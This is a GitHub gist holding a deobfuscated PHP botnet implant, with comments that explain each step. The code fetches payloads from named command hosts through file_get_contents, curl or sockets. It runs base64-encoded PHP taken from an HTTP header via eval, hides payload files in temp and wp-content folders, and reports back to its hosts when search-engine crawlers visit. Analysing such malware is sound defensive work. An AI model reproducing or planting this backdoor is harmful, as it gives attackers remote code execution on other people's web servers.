Created
August 22, 2013 16:17
-
-
Save ergoz/6309402 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// "!defined('determinator') == "include_once" for sneaky people. | |
if (!defined("determinator")){ | |
function determinator_feof($file_pointer, &$now = NULL) { | |
// Assigning a value to $now in this function changes | |
// the value of whatever variable the calling function | |
// passed in. Functions with side effects... huzzah! | |
$now = microtime(true); | |
// Have we reached the end of the file? | |
return feof($file_pointer); | |
} | |
function getfile($domain, $path){ | |
// Try to change their PHP config to allow file_get_contents to | |
// grab files via HTTP. | |
@ini_set('allow_url_fopen', 1); | |
// If we can use file_get_contents to grab our payload, do that. | |
if (@ini_get('allow_url_fopen') == '1') { | |
$file=@file_get_contents('http://' . $domain . $path. '&way=file_get_contents'); | |
return $file; | |
// Otherwise see if curl is installed and use that instead. | |
} elseif (function_exists('curl_init')){ | |
$curl_obj = @curl_init(); | |
@curl_setopt($curl_obj, CURLOPT_URL, 'http://' . $domain . $path. '&way=curl'; | |
@curl_setopt($curl_obj, CURLOPT_HEADER,false); | |
@curl_setopt($curl_obj, CURLOPT_RETURNTRANSFER,true); | |
@curl_setopt($curl_obj, CURLOPT_CONNECTTIMEOUT, 5); | |
$file = @curl_exec($curl_obj); | |
@curl_close($curl_obj); | |
if (empty($file)){ | |
$file = ''; | |
} | |
return $file; | |
// No curl or file_get_contents? *sigh* | |
// Then just use sockets. | |
} else { | |
$socket = @fsockopen($domain, 80, $errno, $errstr, 5); | |
if ($socket) { | |
$file = ''; | |
$now = NULL; | |
@fputs($socket, "GET {$path}&way=socket HTTP/1.0\r\nHost: {$domain}\r\n"); | |
$user_agent = PHP_OS.'/'.PHP_VERSION; | |
@fputs($socket, "User-Agent: {$user_agent}\r\n\r\n"); | |
// As long as we haven't reached the end of the file | |
// and checking to see if we've reached the end of the | |
// file takes less than two milliseconds, read in more | |
// of the file. | |
while(!determinator_feof($socket, $now) | |
&& (microtime(true) - $now) < 2){ | |
$file .= @fgets($socket, 128); | |
} | |
@fclose($socket); | |
// Remove the response headers and return the file. | |
$file_parts = explode("\r\n\r\n", $file); | |
unset($file_parts[0]); | |
return implode("\r\n\r\n", $file_parts); | |
} | |
} | |
} | |
// These are the domains we'll be grabbing our payloads from. | |
$domains = Array('oson.in', 'a-in-a-circle.com', 'phpaide.com'); | |
function write($filename,$data){ | |
// Writes data to a file, suppressing any errors with @. | |
if ($file=@fopen($filename,'w')){ | |
@fwrite($file,$data); | |
@fclose($file); | |
} | |
} | |
function output($message_type, $message){ | |
// Sends a response to our botnet overlords. | |
echo 'Y_'.$message_type.':'.$message."\r\n"; | |
} | |
// Try to change PHP's config to suppress error messages and | |
// suppress any resulting error message with @. | |
@ini_set('display_errors', 0); | |
// This line works with the first line to allow us to spew our | |
// vile botnet code all over the victim's files without having to | |
// worry about it accidentally running twice. It's a sneaky person's | |
// "include_once" for inline code. | |
define('determinator', 1); | |
// Defining some variables we'll be using later. | |
$ftp13='ftp13'; | |
$version='2.18'; | |
$QOO00Q='QQQOQ0OQ0OOQOQO'; | |
$base64_decode='base64_decode'; | |
$base64_encode='base64_encode'; | |
$http_host='http://'; | |
$http_host.=strtolower(@$_SERVER['HTTP_HOST']); | |
// Wipe out all $_GET request parameters that contain | |
// "union" or "select." (Not sure why, but the botnet | |
// overlords surely have their reasons.) | |
foreach ($_GET as $arg=>$value){ | |
if (strpos($value,'union')){ | |
$_GET[$arg]=''; | |
} elseif (strpos($value,'select')){ | |
$_GET[$arg]=''; | |
} | |
} | |
// Try setting the request's URI to our script name and then appending | |
// the query string to the end of it. | |
if(!isset($_SERVER['REQUEST_URI'])) { | |
$_SERVER['REQUEST_URI'] = @$_SERVER['SCRIPT_NAME']; | |
if(@$_SERVER['QUERY_STRING']) { | |
$_SERVER['REQUEST_URI'] .= '?' . @$_SERVER['QUERY_STRING']; | |
} | |
} | |
// Try setting $request_uri to the server's request uri, whether or not | |
// we were successful in mutating it above. If we succeed in that... | |
if ($request_uri=$http_host.@$_SERVER['REQUEST_URI']){ | |
// ...then calculate the server's botnet name and find a temp | |
// directory we can write to! | |
$exploited_server_id=@md5($http_host.$version.PHP_OS.$QOO00Q); | |
$writeable_dir=dirname(__FILE__).DIRECTORY_SEPARATOR; | |
$tmp_dirs = Array( | |
'/tmp/.font-unix', | |
@$_SERVER['TMP'], | |
@$_SERVER['TEMP'], | |
@$_ENV['TMP'], | |
@$_ENV['TMPDIR'], | |
@$_ENV['TEMP'], | |
$writeable_dir.'tmp', | |
$writeable_dir.'wp-content/uploads', | |
$writeable_dir.'wp-content/cache', | |
@ini_get('upload_tmp_dir'), | |
'/tmp', | |
); | |
foreach ($tmp_dirs as $tmp_dir){ | |
if (!empty($tmp_dir)){ | |
$tmp_dir.=DIRECTORY_SEPARATOR; | |
if (@is_writable($tmp_dir)){ | |
$writeable_dir = $tmp_dir; | |
break; | |
} | |
} | |
} | |
// We're going to save the payload from our botnet overlords | |
// as a hidden file in the writeable temp directory we found | |
// above, naming it after our own botnet name. (Probably because | |
// that'll make it harder for people to figure out if they're infected.) | |
$payload_file=$writeable_dir.'.'.$exploited_server_id; | |
// Are our botnet overlords asking for our status? | |
if (@$_SERVER["HTTP_Y_AUTH"]==$exploited_server_id){ | |
// Tell them what version of the slave code we're running. | |
echo "\r\n"; | |
@output('versio', $version.'-'.$ftp13.'-php'); | |
// Do they come with commands? Execute them! | |
if ($command=$base64_decode(@$_SERVER['HTTP_EXECPHP'])){ | |
@eval($command); | |
echo "\r\n"; | |
@output('out', 'ok'); | |
} | |
// Our duty is done. | |
exit(0); | |
} | |
// If we already have a payload file, execute it. | |
if (@is_file($payload_file)){ | |
@touch($payload_file); | |
@include_once($payload_file); | |
// Otherwise check to see if we're being spidered by a search engine. | |
// If we are, let our botnet overlords know so they can send us a | |
// payload ASAP. We're mostly interested in websites people will be | |
// going to, and our botnet overlords seem to think a visit from a | |
// search engine spider is a pretty good indication that outside | |
// traffic will be forthcoming. | |
} else { | |
$request_uri=@urlencode($request_uri); | |
$user_agent = @strtolower(@$_SERVER['HTTP_USER_AGENT']); | |
foreach (explode(',', 'google,yahoo,bing,msnbot,ask,baidu,yandex') as $search_engine){ | |
if (strpos($user_agent, $search_engine)!==False){ | |
if (@touch($payload_file)){ | |
$file_uri = '/pg.php?u='.$request_uri.'&k='.$exploited_server_id.'&t=php&p='.$ftp13.'&v='.$version; | |
$file_contents = getfile($domains[0], $file_uri); | |
// Create an empty payload file. We don't want to | |
// notify our botnet overlords more than once! | |
// They get grumpy when we do that. D:) | |
@touch($payload_file); | |
} | |
// We don't need to check for the rest of the search | |
// engine names in the request's HTTP_USER_AGENT once | |
// we've found one. | |
break; | |
} | |
} | |
} | |
} | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment